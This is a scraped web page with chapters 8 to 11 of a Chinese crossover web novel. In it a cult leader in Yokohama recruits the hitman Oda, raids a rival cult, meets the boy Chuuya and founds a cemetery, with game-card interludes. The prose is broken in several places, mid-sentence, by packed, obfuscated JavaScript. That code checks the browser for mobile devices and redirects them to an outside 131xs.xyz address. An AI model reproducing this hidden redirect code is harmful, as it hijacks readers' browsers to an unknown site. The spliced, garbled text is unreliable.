0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15740177|174131||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 眉头微动,不是因为提议本身,而是因为他察觉到,对面这个人一直在说话,却从不透露任何真正的“意图”。 “你想让我杀掉圣天锡杖的人?” “不全是。”米迦低头搅动自己盘中的咖喱,“我希望你成为象征意义上的第一柄圣剑。” “圣剑?” “我打算发起一场圣战。一场以净化暴力之名,审判横滨之名义的战争。”米迦抬眼望向他,眼神平静得像无波的湖泊,“我希望,织田君,会是第一道鸣响的钟声。” 织田半晌没说话。 他不是没听过这种话,横滨很多组织喜欢给自己的暴力贴上漂亮的理由。他早已习惯将这些“理念”当作笑话听。 可对面这个人,说话的方式却不同。他太冷静,太有条理,仿佛真有一套完整的神学式逻辑支撑起他的每一个词句。 “我不信神。”织田淡淡说。 “能完全以自己的意志决定道路,是一件了不起的事情啊。”米迦轻柔说,和织田印象中那些一提到信仰就暴跳如雷的狂热宗教分子不太一样,“我也希望,能够凭借自己的意愿,专一且心无旁骛地侍奉那只此一位的神明。只是——” 他抬起头,望着窗外的天穹,“地下拥挤,天上难道就不拥挤了吗?” 他回过头,直视着织田的眼睛,“织田君,至今为止,你杀了多少人?” 织田无法回答这个问题。 “数字不重要,重要的是,你已经杀得足够多了。”他的语气低沉而缓慢,“现在,该为他们中真正值得纪念的死者,拿起刀。” “我想替那些死无葬身之地的名字,建一座真正的墓园。” 空气停顿了一瞬。 咖喱的香气已变得苦辣而沉重。织田默默看着他的眼睛。 “……如果你真要开战,就不用打算雇我太久。” “多久无所谓。”米迦听出了其中潜藏的含义,轻声说,“只要你愿意参与第一战,之后,你想离开,我不会阻拦。” 他递出了一张纸片,纸上是一串编号和密码,写得像某种礼拜堂的邀请函。 “明晚十二点,指路教堂地下室。届时,圣天锡杖会迎来一场‘焚香祷告’。” 织田瞥了一眼卡片的内容,没有接过。杀手的职业素养让他足以将重要的信息记在脑海中。 他只是继续默默吃着最后一口饭。 米迦收回纸片,转而推出一个黑木盒子,里面安静躺着整齐码放的一层金币,金属的沉重与温度令人警觉—— “这是你能看到的部分。真正的‘报酬’,要等你选择信仰之后,才能明白。” 织田作沉默良久,才问出心中的疑惑,“……你的派别,管雇佣杀手也叫‘圣徒’?” “这就是神学啊,”米迦笑着说,“如果你像我这样,看得够久,知道得更多,就会发现一个事实。” 他的声音仿佛叹息,穿透了亘古的传说与纷争,直视着变革与征服的神灵,“就算成为司辰,难道就能避免成为雇佣兵了吗?” 8. 第 8 章 【雇佣圣徒织田作之助:此人对我的信仰不置可否,但他的未来为我所用了,至少现在如此。】 【雇工】【暗杀者】【凡人】【先知】【15阶刃】 没有追随者的标签,你很失望,这种失望在你看见那个罕见的【先知】标签的时候达到了巅峰,演变成了抓心挠肺的难受。 你下定决心,不管用什么手段,都要锲而不舍地传教,把此男拿下。 你不死心地在各个平台上搜索着这个dlc的攻略,结果依旧一无所获,你略感怪异,但很快把这种怪异抛诸脑后,毕竟,你还有一整个城市等着征服呢。 你把【原宗教组织圣天锡杖】拖进探索,决定用让这个组织成为你星辰大海征途的第一步。 …… 潮湿的水汽从地铁废弃通道中升腾,粘稠如蛛网。 空旷的通道中回荡着脚步声——并不多,但足以分辨来者的性格。 织田作之助在前,即使在地下错综复杂的地形里,暗杀者的高超技巧依旧让他如一个无声的幽灵。 米迦跟在后,提一盏昏暗的煤油灯照明,脚步沉稳,未言一语。 最活泼轻快的脚步声则属于乱步,出发前,少年暗杀者对于是否带这个手无缚鸡之力的少年前往现场提出了异议。 “一切自有主的安排。”米迦如此回答,既然雇主都这么说了,具备充足职业素养的织田自然也不会提出更多异议。 走廊尽头是一道旧式感应门,门后,是圣天锡杖地下分坛的中心区,十数名信徒看守着几位被俘的“异端”。 他们中的其中一部分会被作为商品供应给横滨的其他地下组织,奴隶或器官买卖,只能听天由命。 而另一部分则作为教内黑弥撒上的祭品,通过“自愿”奉献自己的生命,来展现信仰的虔诚与所谓的神迹。 其中被绳索牢牢捆绑住的几人面容稚嫩,还是应当被称为孩子的年纪。 不太流通的空气中弥散着焚香陈腐的气息,其中不知含有什么成分,俘虏们低着头,眼神涣散,面容呆滞,对外界的一切都反应迟缓。 织田贴身潜伏在柱后,轻吐一口气。 ——时间开始流动。 眼前所见的场景变换,五秒后的一切,如投影般映入脑海: 一名守卫正准备转身,另一人提步巡逻至门口。五秒后,恰有人低头点香,警戒最弱时机只在那一瞬。 六秒,无法窥见。 织田在心中默数到“三”,仿佛弹簧般从死角掠出,三连发精准击穿点香人腿部、香炉与警报开关。接着翻身,贴近第二名守卫,枪柄扣住咽喉,一击制敌。整个过程仅用时四秒。 一直坐在地面上的一名信徒惊愕起身,下一秒,他立刻反应过来,大喊着“敌袭”,同时,眼睛泛出诡异的淡紫色光芒,像浓雾之中的井水,恶狠狠地瞪向织田的方向。 “现在——去自杀。” 少年杀手的脚步一滞,瞳孔微缩,眼前的景象变幻,褪色的视野中,枪口不受控制地偏转,竟开始抬向自己。预知中的他试图挣脱,但身体却不听使唤。 异能力。 是通过视线发动的吗? 感知上仅有短短一瞬,然而他已迅速地做出了反应,以手中守卫的身体为屏障,迅速躲过了异能者的视线。 与此同时,米迦握住乱步的手,高高举起煤油灯,一句一句地教导黑发少年轻声念出咒文。 “我们拜请上校,不容违抗之神。凶猛,却通晓“光”的司辰,他曾经从比这严酷得多的境遇下生还。他的神力谅必能够保护我们。” 白炽之火自灯油之中升起——从未如此炽热过,那大概是出于对这位念诵尊名的新信者感到满意。 盛大的金光从这昏暗而孱弱的玻璃制品中倾泄而出,将整个地下照得如同白昼,神力流淌在空气中,将光的领域强行压入这片被“涸魂诅咒”腐蚀的地带。 俘虏的眼神开始挣脱迷雾,他们茫然地环视着周围的景象,有人剧烈咳嗽,有人哭泣。 乱步睁大眼睛,好奇地看着眼前这完全脱离现实的景象,眼神亮晶晶,现在,所有人都明白为什么非带上这个少年不可了。 “这是什么?大叔?魔法?超能力?还是你说的神明的力量?”黑发少年拽着米迦的衣袖,叽叽喳喳,脸上是毫不掩饰的兴奋。 被询问者却并没有那么高兴,他深深地看了乱步一眼,发出一声重重的叹息——过高的天赋会得到神明的青睐,而这不一定全是好事。 尽管如此,他还是露出一个微笑,毕竟,他是鼓励式教育的拥簇,“这是乱步君的力量哦,没有乱步君的话,就做不到。” 一旁异能者则满脸不可置信,无论如何,他引以为傲的异能力怎会如此轻易的失效呢。 然而,虚空之中,他仿佛与什么伟大而不容违抗的存在对上了视线,那个存在目盲耳聋,全身遍布伤疤,仅仅一眼,就足以令人疯癫。 他用看怪物一般的眼神看着二人,像是见到了什么无法理解的事物,“你……这是什么力量?!你们不是这个世界的人?” 乱步皱了皱眉,“他疯了?” 少年有些不安地看了米迦一眼,“这也是因为我吗?” “都不必听,”米迦淡淡道,“乱步君只是信念的搬运者而已。” 就在这时,一道声音从阶梯上方传来,“……原来是你啊,织田君。” 声音吸引了所有人的视线,织田转头,枪口轻抬,盯着来者。 来人是一位年约四十的男子,灰紫色法衣,眼下带着浓重的黑眼圈,看起来形销骨立。他曾是织田的雇主,也是圣天锡教的教主。 “我们的人联系不上你,我就知道你这次不会接我们单。”男人冷笑,“但你终究还是回来了。” “以背叛者的身份。” “我从来没有属于过这里,”织田作之助冷淡地答,“只是雇佣关系。” 男人没反驳,而是退了一步,露出两名被控制的异能信徒,他们刚刚才抵达这里,身上的异能力并没有被净化。 两人双眼发红,嘴角抽搐,似乎已被催眠为失去理智,只知道攻击的怪物。 “果然,只有全身心的信徒才值得信任,”男人冷冷地道,“在神迹面前恐惧吧,你们会后悔与神为敌。” 米迦轻笑一声,目光平静如湖,似乎觉得很荒唐,“你管这叫神迹?你不是信仰的使徒,只是把恐惧做成商品的商人罢了。” 对方似乎想反驳,米迦却适时地高举起煤油灯,上校的光芒像刀,将他的黑影割裂。他踉跄倒下,拼命捂住头颅,像被某种无形剧痛折磨。 “你用异能来迫人自裁,只是为了不赔钱、不留痕……把人命当止损线。” “织田君,这就是你转头投靠的另一个神?”那人没有理会米迦,而出转头看向一旁的红发暗杀者,他咳出一点血沫,讥讽道,“真伪善。” 织田没有回答,他只是将手中最后一枚弹壳压入枪膛。 ——砰。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15740178|174131||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 黑暗的尽头归于沉寂。 伴随着教主的死亡,仿佛意识到表演已经落寞,耀眼的金色光芒也缓缓熄灭。 被救出的俘虏发出呜咽般的啜泣,他们的反应不尽相同,被绑架来的人大多面色惊恐,而被制裁的前信徒则目露狂热,朝着他们跪下,仿佛已经找到了新的神。 织田看了米迦一眼,“你打算怎么处理这些人?置之不理的话,他们会被其他组织回收。” “我会记得他们。”米迦说,“光不要求信仰,但它不会拒绝他们的名字。如果他们必须信奉什么才能活下去的话,我就给予他们新的神。” 织田没再追问,他的目光落在那几个年龄还很小的孩子身上。 他们自发地缩成一团,目光戒备,小小的身体紧紧地贴在一起,仿佛这样就能够免受伤害。 织田注意到,在他们的右手上,都缠有一圈青色的带子。 “别过来!”大概是那长久的凝视引起了他们的误解,看起来最大的那个孩子色厉内荏地冲他们叫喊道,“我们是‘羊’,组织里有很厉害的异能者,伤害了我们的话,同伴们肯定不会放过你们!” 有孩子惶恐地拽了拽发话人的袖子,似乎是想让他不要再说了。 然而,米迦被他们话语中“厉害的异能者”所吸引。 来到横滨这短短的时日,他大概已经明白,所谓的异能者,大概是这个世界无形之术的一种表现形式,只是和需要后天修行的无形之术不同,异能力是天生的。 这也是这座城市里有那么天赋异禀的天生圣体的原因。 他抬步朝孩子们的方向走去,微微垂下眼眸,想要询问更多的细节。 然而,他没有来得及开口。 巨大的轰鸣声在地下回荡,层层加锁的厚重老式感应门被一脚踹开,扬起巨大的烟尘,一个小小的身影在烟尘后若隐若现。 缩在地上的孩子们双眼放光,仿佛找到了主心骨,迫不及待地喊着来人的名字,“中也——” 待尘土散去,人们才惊愕地发现,站在那里的,只是是一个不过十岁左右的男孩。 男孩有一头耀眼的橘色的短发,钴蓝的眼睛略带疑惑地扫视了一圈地下混乱的状况,最后落在了站在孩子们面前,正俯下身准备说话的米迦身上。 而米迦也正看他,准确地说,是在看他头顶的【???阶铸】。 三个问号是什么意思? 米迦还没有想明白,就看见男孩上下打量着他,仿佛确信了什么。 “你就是圣天锡杖的教主吧?”男孩说,“居然敢对‘羊’出手,我会让你后悔的。” 米迦难得错愕,还有一种淡淡的屈辱。 居然和这种不入流的宗教组织被混为一谈了。 然而,他没有多少时间可以伤感。 混凝土的地面如同蛛网在男孩的脚下裂开,难以想象,这么矮小的身体为何会蕴含如此巨大的力量,下一秒,尘土飞扬,巨大的冲击波就朝着他的方向袭来。 旁边的织田眼疾手快,几乎没有犹豫,一把拽住他的衣领,堪堪躲过这致命的袭击。 虽然这次救援本身也很致命。 情况危急,少年杀手没能顾及太多,这直接让米迦的脑袋“砰”的一声撞在了旁边的柱子上,发出令人牙酸的巨大碰撞声。 健康半亡的教主安详地闭上了眼睛,很难说还有多少是活着的。 他最后听到的,是乱步扑过来,惊慌失措地喊着“大叔”的声音。 9. 第 9 章 司辰无梦,长生者力图无梦。 而此时,米迦清晰地明白,自己正在做梦。 窗外,布兰库格的暴风雨一如既往地呼啸,拥挤的酒馆内,壁炉的柴火噼啪作响,刚出炉的馅饼散发出诱人的油脂香味,女房东走过来,端上用黑啤调成的热奶酒。 米迦轻声谢过,用温热的饮品烘自己如亡者般冰凉的手掌,抬起头,对面的人反骑着椅子,双手交叠搁在椅背上,将下巴埋进臂弯里,望着他,脸上带着一种饶有兴致的笑意。 “晚上好,流亡者。”米迦听见自己飘忽的声音,像一个鬼魂。 “晚上好,教主。”对面的男人举起一只手,敷衍地晃了晃,就算打过招呼了。 这位老朋友仔细地端详着他的脸色,给出了中肯的评价,“你看起来不太好,你那不同寻常的旅程把你折磨坏了,是吗?” “一直都是这样,只要还活着一天,就要继续受苦。”米迦疲惫地说,礼节性地询问老友的近况,“你和你的那位大敌……” 话说到一半,就止住了,他后知后觉地想起来,在这重历史中,狮子匠已经不知所踪,太阳大战改变了太多的事,再没有什么是确信的了。 “有一段时间没有他的消息了,”尽管如此,流亡者看起来依旧非常乐观,他满不在乎地说,“我知道,他还在某个地方活着,毕竟,在我亲手为他带来终结之前,他怎么能轻易因为其他微不足道的东西死掉呢?” 对于这种恋父情结,米迦决定不予置评,他会有这种想法是理所当然的,毕竟,这位朋友曾经亲口说过。 “爱即战争。” 他们碰了一下杯。 米迦轻抿了一口杯中的酒液,一直以来冰冷如尸体的身躯难得有了些暖意。 突然,他听见茶杯磕在桌子上的碰撞声,循着声音望去,在桌子的另一边,不知何时落座了一位女士,正遥遥向他举起茶杯,冲他微笑。 女士红铜色的长发一丝不苟地盘起,戴着一副单片眼睛,周身萦绕着一种端庄而睿智的氛围。 “晚上好,图书管理员。”米迦冲她点头致意。 “晚上好,教主。”图书管理员凝视了他一会儿,朝他的方向伸出一只手,手掌朝上,那是一个邀请的手势,“介意我为你做个占卜吗?” “我的荣幸。”米迦起身,彬彬有礼地将手放在了她的手掌上。 图书管理员细细地盯着他掌心的纹路,看了几秒,突然抬起眼睛,露出一个神秘的笑容。 “林地在漫宿墙外,但漫宿无墙。”她轻声说出这句每一个无形之术学徒都熟知的箴言,“那么,这是为什么呢?” “有幸知道您的解答吗?图书管理员。”米迦问。 “因为白日铸炉是一个魁梧女子,她的肩膀就是漫宿的墙!”图书管理员发出掷地有声的宣言,酒馆里的人因为这句话,不约而同地哄笑起来。 米迦因这荒唐的答案愕然又困惑,在那些虚幻而遥远的笑声中,他突然觉得天旋地转,地板和天花板好像颠倒了过来,一切人和事物都离他远去,不,是他陷入了塌缩的黑洞。 他努力挣扎着想要回去,却发现身上像是压了千钧的石头一般,动弹不得。 伴随着奋力一撞,他猛地起身,惊出了一身冷汗,四下张望,才发现自己正躺在酒店的床上。 而刚才压得他陷入梦魇的,正是俯身卧在床边,应该是在看护他,但实际上只是睡得香甜的乱步。 少年因为他的动作被撞飞出去一小段距离,床单被拖出长长的褶皱,他揉着惺忪的睡眼,抬起脑袋,看见米迦的时候,脸上是不加掩饰的欣喜,“大叔,你终于醒啦!” 唉,猫能有什么坏心思呢?猫只是关心你。猫好。 米迦叹了口气,温声道,“只是昏过去了一会儿,已经没事了,乱步君,谢谢你担心我。” 他们的交谈引起了房间外的人的注意。 门被敲了两下,然后织田推门进来,少年杀手的脸上依旧是那副泰山崩于前而面不改色的模样。 只是,他谨慎地左右打量了米迦一番,确认他无虞之后,面部的肌肉才微不可见地松弛下来。 “看来你没事了,”他说,“那个时候,你没有心跳和呼吸,脉搏也停了,我们都以为你死了。” 乱步迫不及待地插话进来,脸上是毫不掩饰的得意洋洋,“我早就说过,大叔本来就是一具会动的尸体。” 织田点点头,证实了他的说法,“是乱步坚持,我们才没把你送去火化。” 米迦顿时汗流浃背,原来真的差点死于队友的痛击。 同时,他的心里升起了一点不妙的预感。 “我睡了多久?”他问。 “两天。”织田回答。 “哦……”米迦张了张嘴,发出了一声意义不明的叹息。 …… 你的游戏闪退了。 你发出一声凄厉的尖叫,引来隔壁邻居猛烈的捶墙抗议,你低头一看显示器右下方的时间,已经是深夜1点,是睡觉的时间了。 但对于新时代的青年来说,这个时间正是熬夜的黄金期。 你放任自己放松身体,从座位上摔进柔软的大床里,感受着高价购置的床垫带来的回弹力,用柔软的纯棉被子裹住自己,闭上眼睛。 你租住的是老旧小区的隔断房,墙壁很薄,你听见左边的情侣在吵架,但又很快笑成一团,右边的独居女孩半夜突发恶疾,爬起来烧饭,她的厨艺很好,夜风吹动纱帘,红烧肉的香味顺着你的窗棂飘进来。 你在这座城市孤身一人,突然想起你的人子。 这个游戏里有一张至关重要的卡牌,欲望。 目前,在游戏里,你还没发现任何指向它的线索,但就像玫瑰不会因为换一个名字就失去香气,它不在场,但依旧是一切事物终极目标,是势必收取沉重代价的诱惑。 你的人子会有怎样的欲望呢? 独自在百年后的遥远异国醒来,他又是怎样的心情在行动呢? 你从繁杂的现实中抽离出去,注视着他的灵魂,陷入了梦乡。 明早的你会后悔,会为没有关灯关电脑而气得大叫,1块钱1度电是你刚毕业年少无知时签下的黑心合同。你会换房子。你会升职。你会成为一个合格的大人。或许有一天,你还会搬到乡下去,再也不想打游戏。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15740179|174131||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 但是,现在,你只是想着他的事情,忍不住微笑起来。 …… “怎么了?”乱步是最先察觉到不对劲的人,当然,他总是的。 “没什么,”米迦收回视线,温声说,“只是我的主睡着了。” 在场的人面面相觑,不明所以,虽然他们确实知道米迦是个虔诚的信徒,但几乎没有人知道他所信奉的,到底是什么神。 乱步算他们中知道得比较多的,然而,在他看来,对于那些记载于纸页上的司辰,米迦其实并无多少尊敬之心。 他像使用工具一样念诵他们的尊名,却又因为过度的回应心怀戒备。 提及司辰时,他就像在怀念一个美好时代,就像现代人怀念千禧年,50年代的人怀念爵士时代。遥远又模糊,象征意义大于实际。 “对了,有人想要见你。”仿佛想起什么一般,织田突然说。 他让开身体,露出一直被遮得严严实实的矮小男孩。 “啊,你是……”米迦想起来了,是那个三个问号的铸。 “中原中也。”男孩自我介绍,脸上的表情难得局促,尽管略显别扭,他还是堂堂正正地开口,“我是来道歉的,那天没搞清楚情况就对你动手了,十分抱歉。” 虽然现在说起来轻松,但实际上,米迦昏迷之后的情况十分混乱。 中也的异能力强大得可怕,唯一值得庆幸的,大概只有他确实还只是个十岁的男孩,实战经验不足,对自己异能力的掌握,也还没有那么熟练。 总之,为了制服他,织田花了不少工夫,在对战的过程中,有好几次,他都以为自己要失手了。 但最终,将因为过度使用异能力而气喘吁吁的男孩压在地上之后,他们还是得到了心平气和坐下来谈谈,解除误会的机会。 这也是为什么,中也此刻会站在这里。 米迦看着他,回想起他的梦境,长生者不会做没有意义的梦,更何况,梦境中明确地提到了“占卜”这两个字。 另外被提及的,则是白日铸炉。 白日铸炉,不焚之神,消耗与重造之神,也是铸相最有名的司辰。 想到这里,米迦心下一动,有了一点猜测。 他抬起头,温和地对中也道,“别放在心上,中原君,虽然相识的方式不太寻常,但我相信,每一次相遇都是有意义的。” 说完这句话,他长久地注视着中也,看得男孩心里发毛。 在男孩来得及提出任何异议之前,他再次开口,“你能靠近一点吗?中原君,我需要好好看看你。” 中也略显迟疑,但是因为心中仍存有愧疚,还是朝米迦的方向迈开脚步。 “啊,真神奇,”米迦注视着男孩心脏的位置,斟酌着字句,因为缓慢,语调略显怪异,“一个黑洞,永恒塌缩的奇点,原来如此,这一切都说得通了。” 谁能想到,那个乍一看幽默得有些荒诞的梦境,居然是真正的预知梦,甚至连最微小的细节都有意义。 他抬起眼睛,与男孩钴蓝的瞳孔对视,喊他的名字,“中原君。” “你知道你的身体里居住着一位人造的神明吗?” 10. 第 10 章 周六的早晨,美好的早晨。 因为要打游戏,你在九点就早早起床,就着刚刚送上门的麦O劳早餐(麦门!),睡眼惺忪地点开桌面上密教模拟器的图标。 昨天游戏闪退了,你看了一眼存档,所幸,保存在你击溃了圣天锡教之后。 你清点着桌面上的战利品,为自己的收获感到满意。 首先,是海量的资金。 说实话,一开始看到那99个金币,你还以为是自己眼睛花了,反复确认了好几次,在发现这确实是现实后,忍不住唱起了皇后乐队的波西米亚狂想曲。 太好了,这下一辈子都不用搬砖了。 原来在远东搞密教这么赚钱。 你兴高采烈地翻开下一张卡牌,这是一张地点牌,【无人主持的教会】。 终于不用把酒店房间当临时总部了,你感动得泪流满面。 几本文献,《努列尔宝训集》和《墙垣之战》,来得非常及时,你正缺杯和启属性的密传。 【熟人中原中也:火、毁灭、塑形与力量。此人乃是人造之物,无论如何他自身的意志如何,他都已在这座城市身上留下巨大的创口。这份意志能为我所用吗?】 【???阶铸】【人造神明】【欠下的人情】 我超,这个游戏演都不演了。 你大惊失色。 15阶起手已经满足不了这个超模的系统了,现在人造神明都出来了,这之后还有什么? 你惊疑不定地拖着这张熟人卡放来放去,最终还是决定暂且搁置,先看看别的。 毕竟,总感觉会开启什么不得了的剧情,还是攒攒资源再传教吧。 【原宗教组织圣天锡教(已破灭):那天晚上之后,教主消失了,走得十分突然,还带去了他的亲信。人们乐观地猜测他去了更好的地方。对此,横滨的地下组织则有更加详尽的传言,当我走过街头巷尾,我能感受到人们畏惧的目光。现在,我们可以招揽群羊无首的信众,提升我的名望。】 你快乐地把这张卡和声望一起拖进研究里,将它升到了3级。 【名望(3阶):小有名气。 我的声名正在攀升,横滨的地下世界回荡着我那些我做过的事,我时常听见人们的窃窃私语,但这还远远不足够。】 你相当满意,同时想起了什么,查看你目前唯一的信徒乱步,惊喜地发现,他的灯属性居然上升了1阶,然而,这种惊喜很快化为了领地被侵占的愤怒。 【被神明注视之人:此人引起了上校的关注,献祭我的追随者,换取司辰在此世的复生。】 想都别想! 你愤怒点掉了文案,这是你的人子的学生,你的所有物,司辰别想动他一根手指头。 你郁郁不乐地检视着桌面上剩下的卡牌,惊奇地发现,在探索结束后,【金牌杀手织田作之助】依然留在桌面上。 你试着将卡牌拖进【交谈】。 【未兑现的承诺:你曾对此人许下过诺言,现在是兑现的时候了。】 哦,你隐隐约约地想起来,雇佣他的时候似乎的确有尾款这一说。 你财大气粗地一挥手,不就是钱吗,你现在有的是。 你把他拖进【交谈】里,要是能终生雇佣制就好了。 你不禁想入非非。 …… 夜雨后,横滨郊外的雾气尚未散尽。 织田作之助站在墓园门前,铁门半掩,露出内里一条蜿蜒小路,两侧是规整而密集的灰白墓碑。他没打伞,额发微湿,雨水从衣角滑落。 没有神像,墓园中央一块石碑上刻着一行低调的铭文:“此处,安息未得名的灵。” 他缓步而入。每一块墓碑都低矮干净,名字下方简短刻着一句话,像是为每位死者写下的小传: “本名不详,约17岁。死于圣天锡杖控制异能试验,曾反抗。” “市川真理,孤儿,生前以清洁工维生。无亲属。” “久部彻,死后无人认领尸体。于滨海公路旁被发现。” 有数十座,甚至上百。 他站在其中,沉默许久,脑海中是那些死者的面孔,模糊却不再冷漠。 这些死者与他曾经刺杀过的人无异。但不同的是——他们被记得了。 在此之前,他们不过是横滨众多无名的亡者,这座城市像一座巨大的绞肉机,人们在里面挣扎求生,无数的人死去,毫无尊严与意义。 他们是“底层□□”、“无户籍死者”、“火并牺牲者A”。 可现在,他们有了名、有了故事、有了被纪念的资格。 织田看着这些墓碑,喉头发紧,心中有一种莫名的情绪在翻滚,不知自己站了多久。 直到身后响起脚步声,米迦一如既往地衣着得体,西装革履——英国人的通病,手中提着一盏油灯照明,正是之前在地下用来驱散诅咒的那盏。 “织田君,你来了。”他说,“我曾向你许诺过真正的‘报酬’,不知你是否还满意?” 织田点头,几乎是不假思索地开口,“你为这些人写了这些话?” “我只是听他们说,”米迦轻声回答,“他们在死前最后想让谁记住自己,我就写下来了。” 织田沉默了很久,像是有太多东西哽在胸中,堵着出口。 他最终只问了一句,“我杀过很多人。他们没有墓碑,是不是就不会有人记得了?” 米迦没有直接回答。只是将手中的油灯递过去,指了指一处尚未立碑的空地。 “你若愿意,也可以来记得他们。” 风从墓园上方吹过,卷起几瓣白花,落在碑石上,像是温柔的祝祷。 织田接过油灯。 火光微弱,却比他习惯了的枪口的火舌更温暖。 他望着那些墓碑,又望向米迦。 “我……读了一本书。” 米迦耐心地看着他,等待着下文。 “那是一本十分精彩的小说,只有一个不足之处,”他说,“那本书没有结尾。” “作为登场人物之一的杀手,决定不再杀人,我想知道究竟是为什么,然而,答案大概哪里都没有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15740180|174131||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 办法找到。” “给我书的那个人说,我可以自己书写结局,”他低头看着自己的手,带着枪茧,沾满鲜血,杀人者的手,“我不知道自己能不能做到。” “织田君,”米迦终于再次开口,“你记得我曾经对你说过的话吗?” “能完全以自己的意志决定道路,是一件了不起的事情。”他说,“我现在也依旧这样想的。” “我也曾汲汲营营,麻木地侍奉神灵,未加深思地变换信仰,只为了填补空洞的欲望。”他的语气略带厌倦,“启明,力量,感官,蜕变,铭记,每一次我都做到了极致,最后却都只是白白任他们流逝了。” “欲望究竟是什么呢?无数人为它前赴后继,又毫无意义地半途而废,我和他们不一样,我有天赋,我也确实得到了很多,然而,我的心灵也始终未曾得到安宁。我也曾安于平静的生活,以为这样就会有所不同,但事实是,我仍未那些未走过的道路而后悔。” “后来,我在主的面前许下宏愿,”他说,“我要斩断这世界的因果,我要掀起革命,我要人的意志再也不被白白地践踏,如果没有人能终止这一切,就由我来中止。” 他注视着在这个世界上,仅有他一人可见的桌面,那上面,崭新的欲望卡正闪闪发光。 【诱惑:革命 为了崭新的世界。人类需要救济,司辰难道就不需要了吗?这个世界已被膨胀的欲望填满,是时候终结这毫无意义的绵延纷争了。】 他收回了视线,微微一笑,“扯远了,织田君,明明是你在向我寻求建议,我却一个劲地只顾说自己的事情。” “总之,我想说,”他看着少年杀手,目光温和而有力,“无论何时,开启新的道路都为时不晚,即使代价沉重,但只要那是你心之所向,一切就有意义。” “只是,你不需要忘记来时路,正是我们所经历的一切,让我们成为现在的我们,无关好坏。” 织田沉默片刻,米迦一直以来都以温和有礼的形象示人,从容不迫这个词就像镌刻在他的血液里一样,就算遭遇了再坏的情况,他也不曾展示过任何负面情绪。 然而,刚才说那些话时,尽管只有冰山一角,只有短短一瞬,那具如死者般冰冷的身体里,也确实爆发出了无与伦比的激情……与愤怒。 这种愤怒并不针对任何个体,而是对着这个世界的,就像要用怒火将世界洗涤殆尽,重塑成他理想中的样子一般。 这是人力所能及的吗? “我还不知道你到底是什么人。” 他说,“但如果你真的想在这座城市留下点什么……我想陪你看一看。” 他随身携带着两把手枪,现在,他卸下其中一把,将之放在那片空地上,像是终于卸下一段沉重的生涯。 那一刻,天光破开了雾霭,照在石碑与刻字之间。字迹不深,却无比清晰。 【追随者织田作之助:此人已找到新的道路,我的光辉将照亮他所见的未来。未来会更好吗?】 【追随者】【凡人】【先知】【15阶刃】【1阶灯】 11. 第 11 章 你的人子的教主之路顺畅得令你害怕。 你现在恍惚能够理解那些一天到晚在小白书上发帖问“我家孩子能做童模吗”的宝妈了。 #我家教主能成为新世界的卡密吗? 怀着这种诡异的骄傲心情,你将总部搬迁到了【无人主持的教会】,美美携带两个信徒拎包入住。 你的追随者们潜力无限,并且有良好的自我管理意识。 你什么也没做,乱步就已经把自己的灯升到了16阶,新的追随者织田作之助更是入会自带两种属性,虽然目前灯属性的等阶还不高,但你相信,以他的潜力,升满15阶指日可待。 一轮探索刚刚结束,你不打算立刻征服下一个组织,经过一段时间的读书沉淀,桌面上已经多了不少铸密传。 你觉得时机成熟,把【熟人中也】拖进了【交谈】里,搓了搓手,决定开启这个大剧情。 说起来,之前好像还有一个【叛党兰波】,你翻了翻桌面,卡牌依旧是灰的,无法交互。 当时感觉好像是有后续事件,但是一直没等到触发条件,也不知道什么时候才能把这个天生冬属性圣体招进来。 你略感遗憾,毕竟,只有两个信徒,很多事情是真的忙不过来啊。 …… 阳光从彩绘玻璃窗斜洒入室,照在白瓷碗中热腾腾的米粥上,空气中浮动着红茶、煎蛋与辣咖喱的气味。 原圣天锡杖教会的旧餐厅如今被重新修缮,桌上铺着白亚麻布,几把不配套的木椅围着饭桌。 乱步正拿着勺子用力搅拌加了致死量白糖的红豆沙粥,而织田正在试图把昨天没吃完的咖喱塞进玉子烧里。 甜党与辣党无法理解彼此的饮食习惯,乱步瞪着织田,就像在看一个不可理喻的异端。 织田沉默地咀嚼着口中的食物,略带疑惑地看着对面的黑发少年,“乱步,你眼睛痛吗?” 乱步不可置信。 在他发起单方面的斗嘴之前,门被敲响了。 没有人动。直到第二声敲门响起,米迦放下筷子,起身。 唉,这群眼里没活的家伙。 亲自开门的教主大人略感忧郁。 门缓缓推开,一个身影站在清晨的光线里,矮小、警惕、眼下有着淡淡青痕的橘发男孩。 